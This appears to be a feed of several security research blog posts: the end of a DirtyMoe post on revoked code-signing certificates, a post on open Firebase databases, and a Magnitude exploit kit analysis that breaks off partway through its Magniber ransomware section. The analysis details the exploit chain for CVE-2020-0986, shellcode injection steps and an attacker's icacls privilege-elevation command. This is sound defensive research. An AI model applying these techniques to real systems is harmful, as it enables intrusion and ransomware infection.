Another storage of CRLs is Certificate Storage accessible via the Certificate Manager Tool; see
Figure 5. This storage can be managed by local admin or domain.

3.2 CRL Verification by UAC

UAC itself does not verify code signature, or more precisely chain of trust, online; it is probably because of system performance. The UAC codesign verification checks the signature and CRL via CryptnetUrlCache and the system Certificate storage. Therefore, UAC marks malicious software, signed with the revoked certificate, as the unknown publisher because CryptnetUrlCache is not up-to-date initially.

Suppose the user adds appropriate CRL into Certificate Storage manually using this command:
certutil -addstore -f Root CSC3-2010.crl

In that case, UAC will successfully detect the software as suspicious, and UAC displays this message: “An administrator has blocked you from running this app.” without assistance from Cryptographic Services and therefore offline.

The Windows update does not include CRLs of cross-certificate authorities that Microsoft authorized to codesign of Windows files. This fact has been verified via Windows updates and version as follow:

• Windows Malicious Software Removal Tool x64 – v5.91 (KB890830)
• 2021-06 Cumulative update for Windows 10 Version 20H2 for x64-based System (KB5003690)
• Windows version: 21H1 (OB Build 19043.1110)

In summary, UAC checks digital signatures via the system local storage of CRL and does not verify code signature online.

3.3 Windows Driver and CRL

Returning briefly to the codesign of the Windows driver that is required by the kernel. The kernel can verify the signature offline, but it cannot check CRL since Cryptographic Services and network access are not available at boot time.

Turning now to the experimental evidence on the offline CRL verification of drivers. It is evident in the case described in Section 3.2 that UAC can verify CRL offline. So, the tested hypothesis is that the Windows kernel could verify the CRL of a loaded driver offline if an appropriate CRL is stored in Certificate Storage. We used the DirtyMoe malware to deploy the malicious driver that is signed with the revocated certificate. The corresponding CRL of the revoked certificate has been imported into Certificate Storage. However, the driver was still active after the system restart. It indicates that the rootkit was successfully loaded into the kernel, although the driver certificate has been revoked and the current CRL was imported into Certificate Storage. There is a high probability that the kernel avoids the CRL verification even from local storage.

4. Certificate Analysis

The scope of this research are three certificates as follow:

Beijing Kate Zhanhong Technology Co.,Ltd.
Valid From: 28-Nov-2013 (2:00:00)
Valid To: 29-Nov-2014 (1:59:59)
SN: 3c5883bd1dbcd582ad41c8778e4f56d9
Thumbprint: 02a8dc8b4aead80e77b333d61e35b40fbbb010a0
Revocation Status: Revoked on 22-May-‎2014 (9:28:59)
CRL Distribution Point: http://cs-g2-crl.thawte.com/ThawteCSG2.crl
IoCs:
88D3B404E5295CF8C83CD204C7D79F75B915D84016473DFD82C0F1D3C375F968
376F4691A80EE97447A66B1AF18F4E0BAFB1C185FBD37644E1713AD91004C7B3
937BF06798AF9C811296A5FC1A5253E5A03341A760A50CAC67AEFEDC0E13227C

Beijing Founder Apabi Technology Limited
Valid From: 22-May-2018 (2:00:00)
Valid To: 29-May-2019 (14:00:00)
SN: 06b7aa2c37c0876ccb0378d895d71041
Thumbprint: 8564928aa4fbc4bbecf65b402503b2be3dc60d4d
Revocation Status: Revoked on 22-May-‎2018 (2:00:01)
CRL Distribution Point: http://crl3.digicert.com/sha2-assured-cs-g1.crl
IoCs:
B0214B8DFCB1CC7927C5E313B5A323A211642E9EB9B9F081612AC168F45BF8C2
5A4AC6B7AAB067B66BF3D2BAACEE300F7EDB641142B907D800C7CB5FCCF3FA2A
DA720CCAFE572438E415B426033DACAFBA93AC9BD355EBDB62F2FF01128996F7

Shanghai Yulian Software Technology Co., Ltd. (上海域联软件技术有限公司)
Valid From: 23-Mar-2011 (2:00:00)
Valid To: 23-Mar-2012 (1:59:59)
SN: 5f78149eb4f75eb17404a8143aaeaed7
Thumbprint: 31e5380e1e0e1dd841f0c1741b38556b252e6231
Revocation Status: Revoked on 18-Apr-‎2011 (10:42:04)
CRL Distribution Point: http://csc3-2010-crl.verisign.com/CSC3-2010.crl
IoCs:
15FE970F1BE27333A839A873C4DE0EF6916BD69284FE89F2235E4A99BC7092EE
32484F4FBBECD6DD57A6077AA3B6CCC1D61A97B33790091423A4307F93669C66
C93A9B3D943ED44D06B348F388605701DBD591DAB03CA361EFEC3719D35E9887

4.1 Beijing Kate Zhanhong Technology Co.,Ltd.

We did not find any relevant information about Beijing Kate Zhanhong Technology company. Avast captured 124 hits signed with the Beijing Kate certificates from 2015 to 2021. However, prediction to 2021 indicates a downward trend; see Figure 6. Only 19 hits have been captured in the first 7 months of this year, so the prediction for this year (2021) is approx. 30 hits signed with this certificate.

Ninety-five percent of total hits have been located in Asia; see Table 1 for detailed GeoIP distribution of the last significant years.

The malware authors use this certificate to sign Windows system drivers in 61 % of monitored hits, and Windows executables are signed in 16 % of occurrences. Overall, it seems that the malware authors focus on Windows drivers, which must be signed with any verified certificates.

4.2 Beijing Founder Apabi Technology Limited

The Beijing Founder Apabi Technology Co., Ltd. was founded in 2001, and it is a professional digital publishing technology and service provider under Peking University Founder Credit Group. The company also develops software for e-book reading like Apabi Reader‬ [4].

The Beijing Founder certificate has been observed, as malicious, in 166 hits with 18 unique SHAs. The most represented sample is an executable called “Linking.exe” which was hit in 8 countries, most in China; exactly 71 cases. The first occurrence and peak of the hits were observed in 2018. The incidence of hits was an order of magnitude lower in the previous few years, and we predict an increase in the order of tens of hits, as Figure 7 illustrates.

4.3 Shanghai Yulian Software Technology Co., Ltd.

The Shanghai Yulian Software Technology Co. was founded in 2005, which provides network security guarantees for network operators. Its portfolio covers services in the information security field, namely e-commerce, enterprise information security, security services, and system integration [5].

The Shanghai Yulian Software certificate is the most widespread compared to others. Avast captured this certificate in 10,500 cases in the last eight years. Moreover, the prevalence of samples signed with this certificate is on the rise, although the certificate was revoked by its issuer in 2011. In addition, the occurrence peak was in 2017 and 2020. We assume a linear increase of the incidence and a prediction for 2021 is based on the first months of 2021. And therefore, the prediction for 2021 indicates that this revoked certificate will also dominate in 2021; see the trend in Figure 8. We have no record of what caused the significant decline in 2018 and 2019.

The previous certificates dominate only in Asia, but the Shanghai Yulian Software certificate prevails in Asia and Europe, as Figure 9 illustrates. The dominant countries are Taiwan and Russia. China and Thailand are on a close hinge; see Table 2 for detailed country distribution, several countries selected.

As in previous cases, the malware authors have been using Shanghai Yulian Software certificates to sign Windows drivers in 75 % of hits. Another 16 % has been used for EXE and DLL executable; see Figure 10 for detailed distribution.

4.3.1 Analysis of Top 10 Captured Files

We summarize the most frequent files in this subchapter. Table 3 shows the occurrence of the top 10 executables that are related to user applications. We do not focus on DirtyMoe drivers because this topic is recorded at DirtyMoe: Rootkit Driver.

We have identified the five most executables signed with Shanghai Yulian Software certificate. The malware authors target popular and commonly used user applications such as video editors, communication applications, and video games.

1) WFP_Drive.sys

The WFP driver was hit in a folder of App-V (Application Virtualization) in C:\ProgramData. The driver can filter network traffic similar to a firewall [6]. So, malware can block and monitor arbitrary connections, including transferred data. The malware does not need special rights to write into the ProgramData folder. The driver and App-V’s file names are not suspicious at first glance since App-V uses Hyper-V Virtual Switch based on the WFP platform [7].

Naturally, the driver has to be loaded with a process with administrator permission. Subsequently, the process must apply for a specific privilege called SeLoadDriverPrivilege (load and unload device drivers) to successful driver loading. The process requests the privilege via API call EnablePriviliges that can be monitored with AVs. Unfortunately, Windows loads drivers with revoked certificates, so the whole security mechanism is inherently flawed.

2) LoginDrvS.sys

Further, the LoginDrvS driver uses a similar principle as the WFP driver. The malware camouflages its driver in a commonly used application folder. It uses the LineageLogin application folder that is used as a launcher for various applications, predominantly video games. LineageLogin is implemented in Pascal [8]. The LineageLogin itself contains a suspicious embedded DLL. However, it is out of this topic. Both drivers (WFP_Drive.sys and LoginDrvS.sys) are presumably from the same malware author as their PDB paths indicate:

• f:\projects\c++\win7pgkill\amd64\LoginDrvS.pdb (10 unique samples)
• f:\projects\c++\wfp\objfre_win7_amd64\amd64\WFP_Drive.pdb (8 unique samples)

Similar behavior is described in Trojan.MulDrop16.18994, see [9].

3) Denuvo64.sys

Denuvo is an anti-piracy protection technique used by hundreds of programming companies around the world [10]. This solution is a legal rootkit that can also detect cheat mode and other unwanted activity. Therefore, Denuvo has to use a kernel driver.

The easy way to deploy a malicious driver is via cracks that users still download abundantly. The malware author packs up the malicious driver into the cracks, and users prepare a rootkit backdoor within each crack run. The malicious driver performs the function that users expect, e.g., anti-anti cheating or patching of executable, but it also services a backdoor very often.

We have revealed 8 unique samples of Denuvo malicious drivers within 1046 cases. The most occurrence is in Russia; see Figure 11. The most hits are related to video game cracks as follows: Constructor, Injustice 2, Prey, Puyo Puyo Tetris, TEKKEN 7 – Ultimate Edition, Total War – Warhammer 2, Total.War – Saga Thrones of Britannia.

4) WsAP-Filmora.dll

Wondershare Filmora is a simple video editor which has free and paid versions [11]. So, there is a place for cracks and malware activities. All hit paths point to crack activity where users tried to bypass the trial version of the Filmora editor. No PDB path has been captured; therefore, we cannot determine the malware authors given other samples signed with the same certificates. WsAP-Filmora.dll is widespread throughout the world (73 countries); see the detailed country distribution in Figure 12.

5) μTorrent.exe

μTorrent is a freeware P2P client for the BitTorrent network [12]. Avast has detected 417 hits of malicious μTorrent applications. The malicious application is based on the original μTorrent client with the same functionality, GUI, and icon. If a user downloads and runs this updated μTorrent client, the application’s behavior and design are not suspicious for the user.

The original application is signed with Bit Torrent, Inc. certificate, and the malicious version was signed with Shanghai Yulian Software certificate. Everyday users, who want to check the digital signature, see that the executable is signed. However, information about the signature’s suspiciousness is located in details that are not visible at first glance, Figure 13.

The malicious signature contains Chinese characters, although the sample’s prevalence points to Russia. Moreover, China has no hits. Figure 14 illustrates a detailed country distribution of the malicious μTorrent application.

4.3.2 YDArk Rootkit

We have found one Github repository which contains a YDArk tool that monitors system activities via a driver signed with the compromised certificate. The last sign was done in May 2021; hence it seems that the stolen certificate is still in use despite the fact that it was revoked 10 years ago. The repository is managed by two users, both located in China. The YDArk driver has been signed with the compromise certificates by ScriptBoy2077, who admitted that the certificate is compromised and expired by this note:

“I have signed the .sys file with a compromised, expired certificate, may it is helpful to those my friends who don’t know how to load an unsigned driver.”

The private key of the compromised certificate is not available on the clearnet. We looked for by the certificate name, serial number, hashes, etc.; hence we can assume that the certificate and private key can be located in the darknet and shared within a narrow group of malware authors. Consequently, the relationship between YDArk, more precisely ScriptBoy2077, and the DirtyMoe driver is compelling. Additionally, C&C DirtyMoe servers are also located in most cases in China, as we described in DirtyMoe: Introduction and General Overview.

5. Discussion

The most interesting finding of this research was that Windows allows loading drivers signed with revoked certificates even if an appropriate CRL is locally stored. Windows successfully verifies the signature revocation offline for user-mode applications via UAC. However, if Windows loads drivers with the revoked certificate into the kernel despite the up-to-date CRL, it is evident that the Windows kernel avoids the CRL check. Therefore, it is likely that the missing implementation of CRL verification is omitted due to the performance at boot time. It is a hypothesis, so further research will need to be undertaken to fully understand the process and implementation of driver loading and CRL verification.

Another important finding was that the online CRL is not queried by UAC in digital signatures verification for user-mode applications, which require higher permission. It is somewhat surprising that UAC blocks the applications only if the user manually checks the chain of trust before the application is run; in other words, if the current CRL is downloaded and is up-to-date before the UAC run. So, the evidence suggests that neither UAC does not fully protect users against malicious software that has been signed with revoked certificates. Consequently, the users should be careful when UAC appears. 

The DirtyMoe’s driver has been signing with three certificates that we analyzed in this research. Evidence suggests that DirtyMoe’s certificates are used for the code signing of other potentially malicious software. It is hard to determine how many malware authors use the revoked certificates precisely. We classified a few clusters of unique SHA samples that point to the same malware authors via PDB paths. However, many other groups cannot be unequivocally identified. There is a probability that the malware authors who use the revoked certificates may be a narrow group; however, further work which compares the code similarities of signed software is required to confirm this assumption. This hypothesis is supported by the fact that samples are dominantly concentrated in Taiwan and Russia in such a long time horizon. Moreover, leaked private keys are often available on the internet, but the revoked certificates have no record. It could mean that the private keys are passed on within a particular malware author community.

According to these data, we can infer that the Shanghai Yulian Software Technology certificate is the most common use in the wild and is on the rise, although the certificate was revoked 10 years ago. Geological data demonstrates that the malware authors target the Asian and European continents primarily, but the reason for this is not apparent; therefore, questions still remain. Regarding types of misused software, the analysis of samples signed with the Shanghai Yulian Software certificate confirmed that most samples are rootkits deployed together with cracked or patched software. Other types of misused software are popular user applications, such as video games, communication software, video editors, etc. One of the issues is that the users observe the correct behavior of suspicious software, but malicious mechanisms or backdoors are also deployed.

In summary, the DirtyMoe’s certificates are still used for code signing of other software than the DirtyMoe malware, although the certificates were revoked many years ago.

6. Conclusion

The malware analysis of the DirtyMoe driver (rootkit) discovered three certificates used for codesign of suspicious executables. The certificates have been revoked in the middle of their validity period. However, the certificates are still widely used for codesign of other malicious software.

The revoked certificates are principally misused for the code signature of malicious Windows drivers (rootkits) because the 64bit Windows system has begun requiring the driver signatures for greater security. On the other hand, Windows does not implement the verification of signatures via CRL. In addition, the malware authors abuse the certificates to sign popular software to increase credibility, whereas the software is patched with malicious payloads. Another essential point is that UAC verifies the signatures against the local CRL, which may not be up-to-date. UAC does not download the current version of CRL when users want to run software with the highest permission. Consequently, it can be a serious weakness.

One source of uncertainty is the origin of the malware authors who misused the revoked certificates. Everything points to a narrow group of the author primarily located in China. Further investigation of signed samples are needed to confirm that the samples contain payloads with similar functionality or code similarities.

Overall, these results and statistics suggest that Windows users are still careless when running programs downloaded from strange sources, including various cracks and keygens. Moreover, Windows has a weak and ineffective mechanism that would strongly warn users that they try to run software with revoked certificates, although there are techniques to verify the validity of digital signatures.

References

[1] Driver Signing
[2] Cross-Certificates for Kernel Mode Code Signing
[3] How Windows Handles Running Files Whose Publisher’s Certificate(s) Have Been Revoked
[4] Beijing Founder Apabi Technology Limited
[5] Shanghai Yulian Software Technology Co., Ltd.
[6] WFP network monitoring driver (firewall)
[7] Hyper-V Virtual Switch
[8] Lineage Login
[9] Dr. Web: Trojan.MulDrop16.18994
[10] Denuvo
[11] Filmora
[12] μTorrent

The post DirtyMoe: Code Signing Certificate appeared first on Avast Threat Labs.

Firebase is Google’s mobile and web app development platform. Developers can use Firebase to facilitate developing mobile and web apps, especially for the Android mobile platform.

At the end of July 2021 we did research into open Firebase instances.

In that research, we found about 180,300 Firebase addresses in our systems and found approximately 19,300 of those Firebase DBs, 10.7% of the tested DBs were open, exposing the data to unauthenticated users, due to misconfiguration by the app developers. This is quite a large percentage.

These addresses were statically and dynamically extracted from different sources, mainly from Android apps.

We took these Firebase addresses and examined them to see how many were open. In our testing, we looked only for instances that were open for “Read” access without credentials. We didn’t test for write access for obvious reasons.

These open Firebase instances put the data stored and used by the apps developed using it at risk of theft, because apps can store and use a variety of information, some of it including personally identifiable information (PII) like names, birthdates, addresses, phone numbers, location information, service tokens and keys among other things. When developers use bad practices DBs can even contain plaintext passwords. This means that potentially the personal information of over 10% of users of Firebase-based apps can be at risk.

Of course, our testing shows only a subset of all existing Firebase instances. However, we believe that this 10.7% number can be a reasonable representative sample of the total number of Firebase instances that are currently open.

We took our findings to Google and asked them to inform developers of the apps we identified as open as well as contacting some of the developers ourselves.. Google has several features to improve data protection in Firebase, including notifications and regular emails about potential misconfigurations.

While we appreciate Google’s actions based on our findings, we also believe it’s important to inform Firebase developers about potential risk of misconfigured DBs and follow the best practices that Google has provided at https://firebase.google.com. This also once again underscores the importance of making security and privacy a key part of the entire app development process, not just as a later “bolt on”.

Most importantly, we want to urge  all developers to check their databases and other storage for possible misconfigurations to protect users’ data and make our digital world safer.

The post Research shows over 10% of sampled Firebase instances open appeared first on Avast Threat Labs.

If I could choose one computer program and erase it from existence, I would choose Internet Explorer. Switching to a different browser would most likely save countless people from getting hacked. Not to mention all the headaches that web developers get when they are tasked with solving Internet Explorer compatibility issues. Unfortunately, I do not have the power to make Internet Explorer disappear. But seeing its browser market share continue to decline year after year at least gives me hope that one day it will be only a part of history.

While the overall trend looks encouraging, there are still some countries where the decline in Internet Explorer usage is lagging behind. An interesting example of this is South Korea, where until recently, users often had no choice but to use this browser if they wanted to visit a government or an e-commerce website. This was because of a law that seems very bizarre from today’s point of view: these websites were required to use ActiveX controls and were therefore only supported in Internet Explorer. Ironically, these controls were originally meant to provide additional security. While this law was finally dismantled in December 2020, Internet Explorer still has a lot of momentum in South Korea today. 

The attackers behind the Magnitude Exploit Kit (or Magniťůdek as we like to call it) are exploiting this momentum by running malicious ads that are currently shown only to South Korean Internet Explorer users. The ads can mostly be found on adult websites, which makes this an example of so-called adult malvertising. They contain code that exploits known vulnerabilities in order to give the attackers control over the victim’s computer. All the victim has to do is use a vulnerable version of Microsoft Windows and Internet Explorer, navigate to a page that hosts one of these ads and they will get the Magniber ransomware encrypting their computer.

Overview

The Magnitude exploit kit, originally known as PopAds, has been around since at least 2012, which is an unusually long lifetime for an exploit kit. However, it’s not the same exploit kit today that it was nine years ago. Pretty much every part of Magnitude has changed multiple times since then. The infrastructure has changed, so has the landing page, the shellcode, the obfuscation, the payload, and most importantly, the exploits. Magnitude currently exploits an Internet Explorer memory corruption vulnerability, CVE-2021-26411, to get shellcode execution inside the renderer process and a Windows memory corruption vulnerability, CVE-2020-0986, to subsequently elevate privileges. A fully functional exploit for CVE-2021-26411 can be found on the Internet and Magnitude uses that public exploit directly, just with some added obfuscation on top. According to the South Korean cybersecurity company ENKI, this CVE was first used in a targeted attack against security researchers, which Google’s Threat Analysis Group attributed to North Korea.

Exploiting CVE-2020-0986 is a bit less straightforward. This vulnerability was first used in a zero-day exploit chain, discovered in-the-wild by Kaspersky researchers who named the attack Operation PowerFall. To the best of our knowledge, this is the first time this vulnerability is being exploited in-the-wild since that attack. Details about the vulnerability were provided in blog posts by both Kaspersky and Project Zero. While both these writeups contain chunks of the exploit code, it must have still been a lot of work to develop a fully functional exploit. Since the exploit from Magnitude is extremely similar to the code from the writeups, we believe that the attackers started from the code provided in the writeup and then added all the missing pieces to get a working exploit.

Interestingly, when we first discovered Magnitude exploiting CVE-2020-0986, it was not weaponized with any malicious payload. All it did after successful exploitation was ping its C&C server with the Windows build number of the victim. At the time, we theorized that this was just a testing version of the exploit and the attackers were trying to figure out which builds of Windows they could exploit before they fully integrated it into the exploit kit. And indeed, a week later we saw an improved version of the exploit and this time, it was carrying the Magniber ransomware as the payload.

Until recently, our detections for Magnitude were protecting on average about a thousand Avast users per day. That number dropped to roughly half after the compliance team of one of the ad networks used by Magnitude kicked the attackers out of their platform. Currently, all the protected users have a South Korean IP address, but just a few weeks back, Taiwanese Internet users were also at risk. Historically, South Korea and Taiwan were not the only countries attacked by Magnitude. Previous reports mention that Magnitude also used to target Hong Kong, Singapore, the USA, and Malaysia, among others. 

The Infrastructure

The Magnitude operators are currently buying popunder ads from multiple adult ad networks. Unfortunately, these ad networks allow them to very precisely target the ads to users who are likely to be vulnerable to the exploits they are using. They can only pay for ads shown to South Korean Internet Explorer users who are running selected versions of Microsoft Windows. This means that a large portion of users targeted by the ads is vulnerable and that the attackers do not have to waste much money on buying ads for users that they are unable to exploit. We reached out to the relevant ad networks to let them know about the abuse of their platforms. One of them successfully terminated the attacker’s account, which resulted in a clear drop in the number of Avast users that we had to protect from Magnitude every day.

When the malicious ad is shown to a victim, it redirects them through an intermediary URL to a page that serves an exploit for CVE-2021-26411. An example of this redirect chain is binlo[.]info -> fab9z1g6f74k.tooharm[.]xyz -> 6za16cb90r370m4u1ez.burytie[.]top. The first domain, binlo[.]info, is the one that is visible to the ad network. When this domain is visited by someone not targeted by the campaign, it just presents a legitimate-looking decoy ad. We believe that the purpose of this decoy ad is to make the malvertising seem legitimate to the ad network. If someone from the ad network were to verify the ad, they would only see the decoy and most likely conclude that it is legitimate.

The other two domains (tooharm[.]xyz and burytie[.]top) are designed to be extremely short-lived. In fact, the exploit kit rotates these domains every thirty minutes and doesn’t reuse them in any way. This means that the exploit kit operators need to register at least 96 domains every day! In addition to that, the subdomains (fab9z1g6f74k.tooharm[.]xyz and 6za16cb90r370m4u1ez.burytie[.]top) are uniquely generated per victim. This makes the exploit kit harder to track and protect against (and more resilient against takedowns) because detection based on domain names is not very effective.

The JavaScript exploit for CVE-2021-26411 is obfuscated with what appears to be a custom obfuscator. The obfuscator is being updated semi-regularly, most likely in an attempt to evade signature-based detection. The obfuscator is polymorphic, so each victim gets a uniquely obfuscated exploit. Other than that, there are not many interesting things to say about the obfuscation, it does the usual things like hiding string/numeric constants, renaming function names, hiding function calls, and more. 

After deobfuscation, this exploit is an almost exact match to a public exploit for CVE-2021-26411 that is freely available on the Internet. The only important change is in the shellcode, where Magnitude obviously provides its own payload. 

Shellcode

The shellcode is sometimes wrapped in a simple packer that uses redundant jmp instructions for obfuscation. This obfuscates every function by randomizing the order of instructions and then adding a jmp instruction between each two consecutive instructions to preserve the original control flow. As with other parts of the shellcode, the order is randomly generated on the fly, so each victim gets a unique copy of the shellcode.

As shown in the above screenshot, the exploit kit prefers not to use standard Windows API functions and instead often invokes system calls directly. The function above uses the NtAllocateVirtualMemory syscall to allocate memory. However, note that this exact implementation only works on Windows 10 under the WoW64 subsystem. On other versions of Windows, the syscall numbers are different, so the syscall number 0x18 would denote some other syscall. And this exact implementation also wouldn’t work on native 32-bit Windows, because there it does not make sense to call the FastSysCall pointer at FS:[0xC0]. 

To get around these problems, this shellcode comes in several variants, each custom-built for a specific version of Windows. Each variant then contains hardcoded syscall numbers fitting the targeted version. Magnitude selects the correct shellcode variant based on the User-Agent string of the victim. But sometimes, knowing the major release version and bitness of Windows is not enough to deduce the correct syscall numbers. For instance, the syscall number for NtOpenProcessToken on 64-bit Windows 10 differs between versions 1909 and 20H2. In such cases, the shellcode obtains the victim’s exact NtBuildNumber from KUSER_SHARED_DATA and uses a hardcoded mapping table to resolve that build number into the correct syscall number. 

Currently, there are only three variants of the shellcode. One for Windows 10 64-bit, one for Windows 7 64-bit, and one for Windows 7 32-bit. However, it is very much possible that additional variants will get implemented in the future.

To facilitate frequent syscall invocation, the shellcode makes use of what we call syscall templates. Below, you can see the syscall template it uses in the WoW64 Windows 10 variant. Every time the shellcode is about to invoke a syscall, it first customizes this template for the syscall it intends to invoke by patching the syscall number (the immediate in the first instruction) and the immediates from the retn instructions (which specify the number of bytes to release from the stack on function return). Once the template is customized, the shellcode can call it and it will invoke the desired syscall. Also, note the branching based on the value at offset 0x254 of the Process Environment Block. This is most likely the malware authors trying to check a field sometimes called dwSystemCallMode to find out if the syscall should be invoked directly using int 0x2e or through the FastSysCall transition.

Now that we know how the shellcode is obfuscated and how it invokes syscalls, let’s get to what it actually does. Note that the shellcode expects to run within the IE’s Enhanced Protected Mode (EPM) sandbox, so it is relatively limited in what it can do. However, the EPM sandbox is not as strict as it could be, which means that the shellcode still has limited filesystem access, public network access and can successfully call many API functions. Magnitude wants to get around the restrictions imposed by the sandbox and so the shellcode primarily functions as a preparation stage for the LPE exploit which is intended to enable Magnitude to break out of the sandbox.

The first thing the shellcode does is that it obtains the integrity level of the current process. There are two URLs embedded in the shellcode and the integrity level is used to determine which one should be used. Both URLs contain a subdomain that is generated uniquely per victim and are protected so that only the intended victim will get any response from them. If the integrity level is Low or Untrusted, the shellcode reaches out to the first URL and downloads an encrypted LPE exploit from there. The exploit is then decrypted using a simple xor-based cipher, mapped into executable memory, and executed.

On the other hand, if the integrity level is Medium or higher, the shellcode determines that it is not running in a sandbox and it skips the LPE exploit. In such cases, it downloads the final payload (currently Magniber ransomware) from the second URL, decrypts it, and then starts searching for a process that it could inject this payload into. For the 64-bit Windows shellcode variants, the target process needs to satisfy all of the following conditions:

• The target process name is not iexplore.exe
• The integrity level of the target process is not Low or Untrusted
• The integrity level of the target process is not higher than the integrity level of the current process
• The target process is not running in the WoW64 environment
• (The target process can be opened with PROCESS_QUERY_INFORMATION)

Once a suitable target process is found, the shellcode jumps through the Heaven’s Gate (only in the WoW64 variants) and injects the payload into the target process using the following sequence of syscalls: NtOpenProcess -> NtCreateSection -> NtMapViewOfSection -> NtCreateThreadEx -> NtGetContextThread -> NtSetContextThread -> NtResumeThread. Note that in this execution chain, everything happens purely in memory and this is why Magnitude is often described as a fileless exploit kit. However, the current version is not entirely fileless because, as will be shown in the next section, the LPE exploit drops a helper PE file to the filesystem.

CVE-2020-0986

Magnitude escapes the EPM sandbox by exploiting CVE-2020-0986, a memory corruption vulnerability in splwow64.exe. Since the vulnerable code is running with medium integrity and a low integrity process can trigger it using Local Procedure Calls (LPC), this vulnerability can be used to get from the EPM sandbox to medium integrity. CVE-2020-0986 and the ways to exploit it are already discussed in detail in blog posts by both Kaspersky and Project Zero. This section will therefore focus on Magnitude’s implementation of the exploit, please refer to the other blog posts for further technical details about the vulnerability. 

The vulnerable code from gdi32.dll can be seen below. It is a part of an LPC server and it can be triggered by an LPC call, with both r8 and rdi pointing into a memory section that is shared between the LPC client and the LPC server. This essentially gives the attacker the ability to call memcpy inside the splwow64 process while having control over all three arguments, which can be immediately converted into an arbitrary read/write primitive. Arbitrary read is just a call to memcpy with the dest being inside the shared memory and src being the target address. Conversely, arbitrary write is a call to memcpy with the dest being the target address and the src being in the shared memory.

However, there is one tiny problem that makes exploitation a bit more difficult. As can be seen in the disassembled code above, the count of the memcpy is obtained by adding the dereferenced content of two word pointers, located close by the src address. This is not a problem for (smaller) arbitrary writes, since the attacker can just plant the desired count beforehand into the shared memory. But for arbitrary reads, the count is not directly controllable by the attacker and it can be anywhere between 0 and 0x1FFFE, which could either crash splwow64 or perform a memcpy with either zero or a smaller than desired count. To get around this, the attacker can perform arbitrary reads by triggering the vulnerable code twice. The first time, the vulnerability can be used as an arbitrary write to plant the correct count at the necessary offset and the second time, it can be used to actually read the desired memory content. This technique has some downsides, such as that it cannot be used to read non-writable memory, but that is not an issue for Magnitude.

The exploit starts out by creating a named mutex to make sure that there is only a single instance of it running. Then, it calls CreateDCW to spawn the splwow64 process that is to be exploited and performs all the necessary preparations to enable sending LPC messages to it later on. The exploit also contains an embedded 64-bit PE file, which it drops to %TEMP% and executes from there. This PE file serves two different purposes and decides which one to fulfill based on whether there is a command-line argument or not. The first purpose is to gather various 64-bit pointers and feed them back to the main exploit module. The second purpose is to serve as a loader for the final payload once the vulnerability has been successfully exploited.

There are three pointers that are obtained by the dropped 64-bit PE file when it runs for the first time. The first one is the address of fpDocumentEvent, which stores a pointer to DocumentEvent, protected using the EncodePointer function. This pointer is obtained by scanning gdi32.dll (or gdi32full.dll) for a static sequence of instructions that set the value at this address. The second pointer is the actual address of DocumentEvent, as exported from winspool.drv and the third one is the pointer to system, exported from msvcrt.dll. Once the 64-bit module has all three pointers, it drops them into a temporary file and terminates itself.

The main 32-bit module then reads the dropped file and uses the obtained values during the actual exploitation, which can be characterized by the following sequence of actions:

1. The exploit leaks the value at the address of fpDocumentEvent in the splwow64 process. The value is leaked by sending two LPC messages, using the arbitrary read primitive described above.
2. The leaked value is an encoded pointer to DocumentEvent. Using this encoded pointer and the actual, raw, pointer to DocumentEvent, the exploit cracks the secret value that was used for pointer encoding. Read the Kaspersky blog post for how this can be done.
3. Using the obtained secret value, the exploit encodes the pointer to system, so that calling the function DecodePointer on this newly encoded value inside splwow64 will yield the raw pointer to system.
4. Using the arbitrary write primitive, the exploit overwrites fpDocumentEvent with the encoded pointer to system.
5. The exploit triggers the vulnerable code one more time. Only this time, it is not interested in any memory copying, so it sets the count for memcpy to zero. Instead, it counts on the fact that splwow64 will try to decode and call the pointer at fpDocumentEvent. Since this pointer was substituted in the previous step, splwow64 will call system instead of DocumentEvent. The first argument to DocumentEvent is read from the shared memory section, which means that it is controllable by the attacker, who can therefore pass an arbitrary command to system. 
6. Finally, the exploit uses the arbitrary write primitive one last time and restores fpDocumentEvent to its original value. This is an attempt to clean up after the exploit, but splwow64 might still be unstable because a random pointer got corrupted when the exploit planted the necessary count of the leak during the first step.

The command that Magnitude executes in the call to system looks like this:

icacls <dropped_64bit_PE> /Q /C /setintegritylevel Medium && <dropped_64bit_PE>

This elevates the dropped 64-bit PE file to medium integrity and executes it for the second time. This time, it will not gather any pointers, but it will instead extract an embedded payload from within itself and inject it into a suitable process. Currently, the injected payload is the Magniber ransomware.

Magniber

Magniber emerged in 2017 when Magnitude started deploying it as a replacement for the Cerber ransomware. Even though it is almost four years old, it still gets updated frequently and so a lot has changed since it was last written about. The early versions featured server-side AES key generation and contained constant fallback encryption keys in case the server was unreachable. A decryptor that worked when encryption was performed using these fallback keys was developed by the Korea Internet & Security Agency and published on No More Ransom. The attackers responded to this by updating Magniber to generate the encryption keys locally, but the custom PRNG based on GetTickCount was very weak, so researchers from Kookmin University were able to develop a method to recover the encrypted files. Unfortunately, Magniber got updated again, and it is currently using the custom PRNG shown below. This function is used to generate a single random byte and it is called 32 times per encrypted file (16 times to generate the AES-128 key and 16 times to generate the IV). 

While this PRNG still looks very weak at first glance, we believe there is no reasonably efficient method to attack it. The tick count is not the problem here: it is with extremely high probability going to be constant throughout all iterations of the loop and its value could be guessed by inspecting event logs and timestamps of the encrypted files. The problem lies in the RtlRandomEx function, which gets called 640 times (2 * 10 * (16 + 16)) per each encrypted file. This means that the function is likely going to get called millions of times during encryption and leaking and tracking its internal state throughout all of these calls unfortunately seems infeasible. At best, it might be possible to decrypt the first few encrypted files. And even that wouldn’t be possible on newer CPUs and Windows versions, because RtlRandomEx there internally uses the rdrand instruction, which arguably makes this a somewhat decent PRNG for cryptography. 

The ransomware starts out by creating a named mutex and generating an identifier from the victim’s computer name and volume serial number. Then, it enumerates in random order all logical drives that are not DRIVE_NO_ROOT_DIR or DRIVE_CDROM and proceeds to recursively traverse them to encrypt individual files. Some folders, such as sample music or tor browser, are excluded from encryption, same as all hidden, system, readonly, temporary, and virtual files. The full list of excluded folders can be found in our IoC repository.

Just like many other ransomware strains, Magniber only encrypts files with certain preselected extensions, such as .doc or .xls. Its configuration contains two sets of extension hashes and each file gets encrypted only if the hash of its extension can be found in one of these sets. The division into two sets was presumably done to assign priority to the extensions. Magniber goes through the whole filesystem in two sweeps. In the first one, it encrypts files with extensions from the higher-priority set. In the second sweep, it encrypts the rest of the files with extensions from the lower-priority set. Interestingly, the higher-priority set also contains nine extensions that were additionally obfuscated, unlike the rest of the higher-priority set. It seems that the attackers were trying to hide these extensions from reverse engineers. You can find these and the other extensions that Magniber encrypts in our IoC repository.

